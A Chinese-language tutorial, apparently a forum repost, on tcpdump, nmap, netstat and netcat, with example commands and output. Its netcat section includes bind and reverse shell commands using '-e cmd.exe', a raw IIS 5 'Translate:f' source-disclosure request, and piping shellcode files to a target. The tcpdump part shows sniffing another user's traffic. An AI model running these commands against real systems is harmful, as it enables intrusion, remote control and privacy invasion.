Tcpdump- 转储网络上的数据流
Tcpdump 能够截获当前所有通过本机网卡的数据包。它拥有灵活的过滤机制，可以确保得到想要的数据。由于Tcpdump 只能收集通过本机的数据，因此它的应用受到了一些限制，大多应用在网关或服务器自我检测上。例如，在作为网关的主机上，想知道本地网络中IP 地址为192.168.0.5 的主机现在与外界通信的情况，就可以使用如下命令：
tcpdump -i eth0 src host 192.168.0.5
在默认情况下，Tcpdump 会将数据输出到屏幕。如果数据量太大，可能根本看不清具体的内容，这时我们可以把它重定向到文件再进行分析。如果眼神不错，就可以清楚地了解这位仁兄刚才的一举一动：
访问了新浪网主页
20:05:32.473388 192.168.0.5.1872 >; [url]www.sina.com.http:[/url]
S 1372301404:1372301404(0) win 64240 ; (DF)
……
进行了netbios 广播进行名字查询
20:05:33.823388 192.168.0.5.netbios-dgm >;
192.168.0.255.netbios-dgm: NBT UDP PACKET(13[img]http://bbs.chinaunix.net/images/smilies/icon_cool.gif[/img]
……
到新华网POP3 服务器收信
20:05:41.953388 192.168.0.5.1878 >; pop.xinhuanet.com.pop3: S
1374956462:1374956462(0) win 64240 ; (DF)
……
到深圳963 收信
20:05:45.633388 192.168.0.5.1881 >; szptt154.szptt.net.cn.pop3:
P 34:40(6) ack 146 win 64095 (DF)
……
例如，上面这条信息表明了在20:05:45 的时候，192.168.0.5 通过1881 源端口连接到963 电子邮局的POP3 端口。对于普通的网络分析，这些信息已经足够了。这就是Tcpdump 的基本功能，其它高级功能都是在这一基础上的细化和增强。
例如，我只想知道192.168.0.5 当前正在访问哪些Web 站点，可以用下面这条命令：
tcpdump -i eth0 src host 192.168.0.5 and dst port 80
该命令的目的是截获所有由eth0 进入、源地址(src) 为192.168.0.5 的主机(host) ，并且(and) 目标(dst) 端口(port) 为80 的数据包。得到的数据如下：
20:05:32.473388 192.168.0.5.1872 >; [url]www.sina.com.http:[/url]
S 1372301404:1372301404(0) win 64240 ; (DF)
……
20:06:33.42344 192.168.0.5.1873 >; [url]www.sohu.com.http:[/url]
S 1374301404:1374301404(0) win 64245 ; (DF)
……
20:07:31.343248 192.168.0.5.1874 >; [url]www.21cn.com.http:[/url]
S 1377301404:1377301404(0) win 64241 ; (DF)
……
显然，通过and 或者not 这些逻辑组合，就可以得到特定的数据。Tcpdump 还可以监听不同的数据类型（如TCP 、UDP ），以用不同的网络范围（如Host 主机、Net 网络），甚至用Ether 直接指定物理地址。
用Tcpdump 在网络中获取信息如此清晰，是不是有一种一览无余的感觉。正是因为Tcpdump 功能过于强大，连个人隐私和敏感数据的保护都成了问题，所以通常只有root 用户能够使用这一工具。
Nmap
Nmap 设计的初衷是系统管理员可以方便地了解自己的网络运行情况，例如有多少台主机在运行、分别提供什么样的服务。因此，它扫描的速度非常快，尤其适合大型网络。在对网络进行扫描时，Nmap 主要利用ICMP echo 探测主机是否开启。凡是了解TCP/IP 协议的都知道，对于一个TCP 端口，无论是否使用防火墙进行过滤，该主机都会对该端口发出的请求做出一定响应。所以即使配置了严格的防火墙规则，nmap 照样可以找到这些主机。例如，在一台IP 地址为192.168.0.1 的Linux 主机上执行下列命令：
echo 1 >; /proc/sys/net/ipv4/icmp_echo_ignore_all
它的作用就是对所有ICMP echo 不予理睬，也就是让通常用来测试网络的Ping 命令失效。这样至少可以抵挡POD(Ping of Death) 的攻击。在任何一台机器上Ping 这台主机，得到的都会是请求超时，如：
Pinging 192.168.0.1 with 32 bytes of data:
Request timed out.
Request timed out.Request timed out.Request timed out.
Ping statistics for 192.168.0.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss)
这台主机是否下线了？用Nmap 探测试试看：
nmap -sP 192.168.0.1
Starting nmap V. 2.54BETA22 ( [url]www.insecure.org/nmap/[/url] )
Host gw.somewhere.net (192.168.0.1) appears to be up.
探测结果好像该主机还开着呢！这里，-sP 指定使用Ping echo 进行扫描(Scan) 。
利用这一特点，可以很快知道目的网络究竟有多少主机处于运行状态：
nmap -sP 192.168.0.0/24 //24 表明目标是一个网络而非单个主机
Starting nmap V. 2.54BETA22 ( [url]www.insecure.org/nmap/[/url] )
Host (192.168.0.2) appears to be up.
Host [url]www.somesite.net[/url] (192.168.0.5) appears to be up.
Host (192.168.0.[img]http://bbs.chinaunix.net/images/smilies/icon_cool.gif[/img] appears to be up.
……
Host (192.168.0.253) appears to be up.
Host fake.somesite.net (192.168.0.254) appears to be up.
Nmap run completed -- 256 IP addresses (19 hosts up) scanned in 6 seconds
既然已经知道了哪些主机还开着，就可以进一步探测这些主机的信息，如开启的端口、提供的服务及操作系统类型等。从上面扫描的结果可以知道，192.168.0.5 这台机器正在运行。想要了解该主机的详细信息，可以执行：
nmap 192.168.0.5
稍后会显示如下内容：
Starting nmap V. 2.54BETA22 ( [url]www.insecure.org/nmap/[/url] )
Interesting ports on [url]www.somewhere.net[/url] (192.168.0.5):
(The 1537 ports scanned but not shown below are in state: closed)
Port State Service
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
1031/tcp open iad2
1433/tcp open ms-sql-s
Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds
由上可以断定，这是一台运行Windows 操作系统的主机，因为它开启了MS SQL Server 的专用端口1433 ，还提供了HTTP 服务等。这些信息如果被不怀好意的人得到，就可以采用对应的攻击办法。其实，强大的Nmap 本身就可以依据TCP/IP 的指纹特征猜测对方使用的操作系统。我们可以用-O 来开启这一选项：
nmap -O 192.168.0.5
得到的结果是：
Starting nmap V. 2.54BETA22 ( [url]www.insecure.org/nmap/[/url] )
Interesting ports on [url]www.somewhere.net[/url] (192.168.0.5):
(The 1536 ports scanned but not shown below are in state: closed)
Port State Service
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
1032/tcp open iad3
1433/tcp open ms-sql-s
Remote operating system guess: Microsoft NT 4.0 Server SP5 + 2047 Hotfixes
Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
它猜测的远程主机类型是Microsoft NT 4.0 Server SP5 + 2047 Hotfixes ，并且相当准确和详尽。
Netstat
Netstat 主要用于Linux/Unix 主机察看自身的网络状况，如开启的端口、在为哪些用户服务以及服务的状态等等。此外，它还显示系统路由表、网络接口状态等。可以说，它是一个综合性的网络状态察看工具，不过中规中举。
例如在一台普通Linux 服务器上运行Netstat ，显示可能像这样：
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 xxx.net.http-alt xxx.net:1209 ESTABLISHED
tcp 0 0 xxx.net.http-alt xxx.net:1509 ESTABLISHED
tcp 0 0 xxx.net.ssh whoami.net:1867 ESTABLISHED
tcp 0 0 xxx.net:1209 xxx.net.http-alt ESTABLISHED
tcp 0 0 xxx.net:1509 xxx.net.http-alt ESTABLISHED
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
unix 8 [ ] DGRAM 858 /dev/log
unix 2 [ ] DGRAM 190986
unix 2 [ ] DGRAM 190051
unix 2 [ ] DGRAM 1252
unix 2 [ ] DGRAM 1233
unix 2 [ ] DGRAM 1049
unix 2 [ ] DGRAM 867
unix 2 [ ] STREAM CONNECTED 507
下半部分被称作Unix 域套接口，通常不必在意。有用的是上半部被称为有源TCP 连接的部分，它显示了当前所有已建立的连接。由此不难看出，当前这台服务器与主机myself.net 有一些处于半关闭状态的HTTP 连接，还与主机whoami.net 有一个SSH 连接。
在默认情况下，Netstat 只显示已建立连接的端口。要显示处于监听状态的所有端口，使用-a 参数即可：
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:http-alt *:* LISTEN
tcp 0 0 *:8009 *:* LISTEN
tcp 0 0 *:mysql *:* LISTEN
tcp 0 0 *:netbios-ssn *:* LISTEN
tcp 0 0 *:http *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
tcp 0 0 xxx.net.http-alt xxx.net:1209 ESTABLISHED
tcp 0 0 xxx.net.http-alt xxx.net:1509 ESTABLISHED
tcp 0 0 xxx.net.ssh myself.net:1867 ESTABLISHED
tcp 0 0 xxx.net:1209 xxx.net.http-alt ESTABLISHED
tcp 0 0 xxx.net:1509 xxx.net.http-alt ESTABLISHED
……
这样，当前正在监听但并未建立连接的端口也可以显示了出来。由此不难看出，这台服务器同时提供HTTP 、FTP 、SSH 、NMBD 及一个MySQL 数据库服务。
Netstat 还可以方便地代替route 命令显示当前核心路由表：
netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
218.208.80.176 * 255.255.255.248 U 40 0 0 eth1
192.168.0.0 * 255.255.255.0 U 40 0 0 eth0
127.0.0.0 * 255.0.0.0 U 40 0 0 lo
default x.x.x.x 0.0.0.0 UG 40 0 0 eth1
以上结果与route 显示完全一样。
此外，它还可以代替ifconfig 显示网络接口状态：
netstat -i
Kernel Interface table
Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVRTX-OK TX-ERR TX-DRPTX-OVR Flg
eth0 1500 0 3441803 0 0 0 3717339 0 0 0 BMRU
eth0: 1500 0 - no statistics available - BMRU
eth0: 1500 0 - no statistics available - BMRU
eth1 1500 0 1770949 0 0 0 1496183 0 0 0 BMRU
lo 16436 0 38255 0 0 0 38255 0 0 0 LRU
nc
netcat 被誉为网络安全界的‘瑞士军刀' ，一个简单而有用的工具，透过使用TCP 或UDP 协议的网络连接去读写数据。
它被设计成一个稳定的后门工具，能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，
能够建立你需要的几乎所有类型的网络连接，还有几个很有意思的内置功能( 详情请看下面的使用方法) 。
在中国，它的WINDOWS 版有两个版本，一个是原创者Chris Wysopal 写的原版本，另一个是由‘红与黑' 编译
后的新‘浓缩' 版。‘浓缩' 版的主程序只有10 多KB （10 多KB 的NC 是不能完成下面所说的第4 、第5 种使用方法，
有此功能的原版NC 好象要60KB ：P ），虽然" 体积" 小，但很完成很多工作。
1 、基本使用
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向，一旦连接，就执行 [ 危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的IP 地址，不能用hostname
-o file 记录16 进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP 模式
-v 详细输出——用两个-v 可得到更详细的内容
-w secs timeout 的时间
-z 将输入输出关掉——用于扫描时
其中端口号可以指定一个或者用lo-hi 式的指定范围。
例如：扫描端口
tcp 扫描
C:/nc>nc -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?)
net [192.168.0.80] 139 (netbios-ssn) open
net [192.168.0.80] 138 (?)
net [192.168.0.80] 137 (netbios-ns)
net [192.168.0.80] 136 (?)
net [192.168.0.80] 135 (epmap) open
net [192.168.0.80] 81 (?) open
net [192.168.0.80] 80 (http) open
net [192.168.0.80] 79 (finger)
net [192.168.0.80] 25 (smtp) open
net [192.168.0.80] 24 (?)
net [192.168.0.80] 23 (telnet)
net [192.168.0.80] 21 (ftp)
udp 扫描
C:/nc>nc -u -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?) open
net [192.168.0.80] 139 (?) open
net [192.168.0.80] 138 (netbios-dgm) open
net [192.168.0.80] 137 (netbios-ns) open
net [192.168.0.80] 54 (?) open
net [192.168.0.80] 53 (domain) open
net [192.168.0.80] 38 (?) open
net [192.168.0.80] 37 (time) open
net [192.168.0.80] 7 (echo) open
高级应用
1 ．Window 用法：
（1 ）IE 的MIME 欺骗
http://www.try2hack..nl(?..... 客技术的人去做实验的站点)
打开这个页面，有http://www.try2hack.nl/cgi-bin/level7.pl 页面（这个网站提供了黑客的8 关，过了这8 关证明你开始入门了），这个页面告诉我们的浏览器不是 IE6.72, 我们的* 作系统不是LIUNX, 我们不是从www.microsoft.com/ms.htm 重定向链接过去的，有病阿（这是一个题目呀，要慢慢研究），linux 有IE6.72? 微软会在它的页面上放http://www.try2hack.nl/cgi-bin/level7.pl 的链接？看看页面的源代码，level7.pl 是在服务器端 执行的perl 脚本，根本无法看到，还是研究一下IE5 和它通信时都告诉了它什么，抓包，我们会发现，我们的IE5 告诉对方： 我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705 。。。。哈哈，level7.pl 这个cgi 应该是根据这些信息知道我们不是它要求的 客户，嘿嘿，需要欺骗对方才行，用军刀来可以实现，如下做就可以哄对方了：
nc http://www.try2hack.nl 80 [enter]
GET /cgi-bin/level7.pl HTTP/1.1 [enter]
Accept: image/gif, image/x-xbitmap, application/msword, */* [enter]
Refererhttp://www.microsoft.com/ms.htm [enter]
Accept-Language: zh-cn [enter]
Accept-Encoding: gzip, deflate [enter]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986) [enter]
Host: http://www.try2hack.nl [enter]
Connection:
Keep-Alive [enter]
注意，如果出现HTTP 400 时，说明你输入格式有问题，出现httpd 200 回应时，就给出结果了：
哈哈！赶快去实现一下（实践是成功之母）
（2 ）IIS 5 “Translate:f ” 显示代码脆弱点
Translate:f 脆弱点的机制：发送一个畸形的HTTP GET 请求给服务器方一个可执行脚本或相关文件类型（例如.ASP 或者global.asa ）。这些文件是用于服务器上运行的，绝不会到客户机上去，而这个请求就会导致IIS 将这种文件的内容发送到远端的客户机上，而不是在服务器上运行。这种畸形的HTTP GET 请求的关键特性是该请求的末尾有一个特定的头信息Translate:f ，并有一个反斜杠”/ ”附于URL 之后。下面就有这样的一个例子（[CRLF] 代表回车字符）
注意 GET global.asa 后的反斜杠以及Translate:f 头信息。
GET /global.asa/ HTTP/1.0
Host:192.168.0.1
User-Agent:SensePostData
Content-Type:application/x-www-form-urlencoded
Translate:f
[CRLF]
[CRLF]
将以上内容保存在一个文本文件中（例如example.txt ）
然后向一个有这个漏洞的服务器发送
c:/>type example.txt | nc –nvv 192.168.0.80 80
(UNKNOWN) [192.168.0.80] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 Dec 2002 08:50:46 GMT
Content-Type: application/octet-stream
Content-Length: 2790
ETag: “0448299fcd6df1:bea ”
Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
举例：
1) 连接到REMOTE 主机，例子：
格式：nc -nvv 192.168.x.x 80
讲解：连到192.168.x.x 的TCP80 端口
2) 监听LOCAL 主机，例子：
格式：nc -l -p 80
讲解：监听本机的TCP80 端口
3) 扫描远程主机，例子：
格式：nc -nvv -w2 -z 192.168.x.x 80-445
讲解：扫描192.168.x.x 的TCP80 到TCP445 的所有端口
4)REMOTE 主机绑定SHELL ，例子：
格式：nc -l -p 5354 -t -e c:/winnt/system32/cmd.exe
讲解：绑定REMOTE 主机的CMDSHELL 在REMOTE 主机的TCP5354 端口
5)REMOTE 主机绑定SHELL 并反向连接，例子：
格式：nc -t -e c:/winnt/system32/cmd.exe 192.168.x.x 5354
讲解：绑定REMOTE 主机的CMDSHELL 并反向连接到192.168.x.x 的TCP5354 端口
以上为最基本的几种用法（其实NC 的用法还有很多，
当配合管道命令"|" 与重定向命令"<" 、">" 等等命令功能更强大...... ）。
=====================================================================================================
高级用法：
6) 作攻击程序用，例子：
格式1 ：type.exe c:/exploit.txt|nc -nvv 192.168.x.x 80
格式2 ：nc -nvv 192.168.x.x 80 < c:/exploit.txt
讲解：连接到192.168.x.x 的80 端口，并在其管道中发送'c:/exploit.txt' 的内容( 两种格式确有相同的效果，
真是有异曲同工之妙:P)
附：'c:/exploit.txt' 为shellcode 等
7) 作蜜罐用[1] ，例子：
格式：nc -L -p 80
讲解：使用'-L'( 注意L 是大写) 可以不停地监听某一个端口，直到ctrl+c 为止
8) 作蜜罐用[2] ，例子：
格式：nc -L -p 80 > c:/log.txt
讲解：使用'-L' 可以不停地监听某一个端口，直到ctrl+c 为止，同时把结果输出到'c:/log.txt' 中，如果把‘>'
改为‘>>' 即可以追加日志
附：'c:/log.txt' 为日志等
9) 作蜜罐用[3] ，例子：
格式1 ：nc -L -p 80 < c:/honeypot.txt
格式2 ：type.exe c:/honeypot.txt|nc -L -p 80
讲解：使用'-L' 可以不停地监听某一个端口，直到ctrl+c 为止，并把'c:/honeypot.txt' 的内容‘送' 入其
管道中
如果要对tcpdump抓到的包进行分析的话,最好使用-w选项保存到文件,方便用etherreal/wireshark进行分析.
出于安全,nc最好自己找到源码进行编译安装.
796
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
